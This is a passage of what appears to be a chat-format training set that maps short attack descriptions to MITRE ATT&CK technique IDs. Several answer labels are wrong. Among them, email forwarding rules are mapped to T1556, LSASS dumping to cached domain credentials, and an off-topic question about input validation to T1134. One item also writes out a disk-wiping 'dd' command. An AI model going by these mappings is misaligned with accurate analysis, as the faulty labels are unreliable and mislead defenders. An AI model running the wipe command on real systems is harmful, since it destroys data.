                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses the ptrace system call to attach to a running Linux process and inject malicious shellcode into its memory."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware encrypts files only after verifying that the system is not a known analysis environment, using sandbox detection heuristics."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor compromised a legitimate software vendor’s build server to steal the company’s code‑signing certificate and used it to sign malicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set saves scraped email data to a local SQLite database in the AppData directory as a staging step."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a credential dumping scenario, the attacker used mshta.exe to execute a VBScript that called reg.exe to exfiltrate password hashes."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor provisions an IBM Cloud virtual server to host stolen credentials."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries acquire a short‑lived domain from a bulk registration service to host a phishing website temporarily."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat software queries DNS SRV records to discover the location of a hidden service, calculating the service address on the fly."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses a downgrade attack on the system image, restoring an old OS version to re‑activate disabled exploits."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor performs lateral movement by mounting the remote C$ share over SMB and executing a script."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom bootloader was written into the system's firmware, granting the attacker persistence that survives OS reinstallation."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ search engine dorking techniques on DuckDuckGo to find exposed login portals and configuration files."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers solicit and purchase technical documentation for a targeted company's network architecture through a hidden marketplace."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious PowerShell commands were split into multiple segments, each base64‑encoded, and then recombined and decoded in memory to hide the final command line."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign relied on default service accounts left unchanged after software deployment."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor queries proprietary code repositories and private forums to locate source code leaks."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors dump the LSASS process memory to capture the cached NTLM hashes of domain users."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries tamper with a web application's comment section, adding HTML that steals session tokens."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team collects information about the victim’s network topology by analyzing routing advertisements on BGP."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs a PowerShell script on macOS that calls the 'security' command to list all Keychain items and harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker scans for bash_history files on compromised hosts to locate sensitive command-line arguments."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber intruder changes the environment variable PROMPT_COMMAND in /etc/environment to execute a script on each prompt."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on a compromised host queries the device's configuration database to collect ACL entries and cryptographic keys."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hidden service on the compromised host periodically runs \"dd if=/dev/zero of=/dev/sdb bs=1M\" to zero out the secondary disk."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script changes the email forwarding rules in an organization's mail server to route copies of incoming mail to an external account."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script triggers a known privilege escalation bug in a system service to gain elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software queries the victim's routing tables to discover subnets and gateway addresses."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script creates a hidden launch agent that executes a PowerShell core script when the user logs in to macOS."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat intercepts and redirects traffic to a live remote management console, taking control without re‑authentication."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a tool like Mimikatz, the malicious actor harvests Kerberos tickets and creates golden tickets for unauthorized domain access."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses DNSDumpster and similar open DNS repositories to discover hidden hosts in the victim's network."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious party gathers information on third‑party vendors listed on the victim's procurement pages."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on a compromised host reads local application configuration files to harvest database connection strings."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerability in the domain controller's authentication stack, the threat actor can issue valid Kerberos tickets for any user."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses a compromised employee's credentials to log into the corporate VPN and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors create new cloud roles and attach them to existing compromised accounts for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1098.003 - Account Manipulation: Additional Cloud Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign directed users to a fake banking portal where JavaScript captured and sent their login details to the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerable SUID binary, the adversary changed the permissions of /usr/bin/sudo to 777, allowing any user to execute it with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a script that leverages the Microsoft Graph API to retrieve all users' email addresses from Azure AD."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Account Discovery: Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware deployed a custom remote access tool that disguises itself as legitimate remote desktop software."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat manipulates the Kerberos authentication protocol to impersonate users by injecting forged tickets into the local cache."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor uses a legitimate patching mechanism to insert malicious code into the OS kernel."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor abuses the Windows Management Instrumentation (WMI) to run JavaScript that enumerates network shares."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team steals a Kubernetes service account JWT and uses it to authenticate to the cluster API server."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware module issues a command to wipe the disk's file system structures, leaving only raw sectors."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script leverages the Windows Management Instrumentation (WMI) to pull BIOS and firmware revision data from the host."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT28 used spear-phishing emails with malicious Word documents that, when opened, drop a dropper to retrieve a custom keylogger from an external command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion group distributes a malicious PowerShell script on USB drives that, when opened, installs a backdoor and duplicates the script to any other attached storage devices."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs a man‑in‑the‑middle attack on an active SSH connection, injecting malicious commands while preserving the original session's appearance to the user."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script executed via a compromised privileged account runs 'fsutil file setCaseSensitiveInfo' to corrupt file system metadata, rendering files inaccessible."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a botnet of compromised routers to perform a distributed password‑spraying attack against enterprise services."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider used their privileged Kubernetes cluster credentials to access the underlying cloud provider’s control plane."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool harvests credential caches, browser histories, and saved passwords from the local machine and stores them locally before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script leverages SMB shares to transfer additional tools onto the compromised workstation."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed commands in Unicode escape sequences, then decode them just before execution."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider used their admin rights to export repository metadata and source code from the internal Git server."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modified a legitimate DLL's signature metadata, resulting in an invalid code signature that disguises the malicious component as a trusted library."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistent execution is achieved by creating a scheduled task that calls a remote script hosted on a command-and-control server every 15 minutes."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group extracts saved credentials from a compromised browser and uses them to log into third‑party SaaS platforms as the legitimate user."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses AWS ECS scheduled tasks to run a command that contacts a C2 server every 30 minutes."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a domain controller, the actor forwards captured Kerberos tickets to impersonate users."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker places a crafted DLL in the Netsh helper directory and modifies the registry to load it during netsh execution."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers probe for SMB shares by querying the host's list of shared resources via PowerShell's Get-SmbShare cmdlet."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses DNS TXT records to embed instructions, calculating the target server address on the fly."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the Component Object Model to marshal data between a compromised user process and a system service, enabling privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use ransomware to lock user desktops and display a ransom note."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved scanning the entire 172.16.0.0/12 address space to find vulnerable hosts for subsequent exploitation."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries replace the Terminal Services DLL (termsrv.dll) on a Windows server to execute malicious code whenever a remote desktop session is established."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder creates a zip file of collected logs in the user's home directory before sending it out."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a non‑standard Unicode escape sequence encoding to hide stolen data inside PDF objects."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exfiltrates sensitive information by creating a new entry on a public note‑sharing platform, leveraging the platform's unauthenticated write capability."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exfiltrates encrypted archives by appending them to outbound email attachments with benign filenames."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload stages exfiltrated data on a remote HTTP server under the attacker’s control."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Explain how an attacker might use input validation to inject malicious code."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary creates a new local user account with administrative privileges on a compromised Windows machine using the net user command."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage a compromised internal proxy to mask the origin of malicious traffic, bypassing network segmentation."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
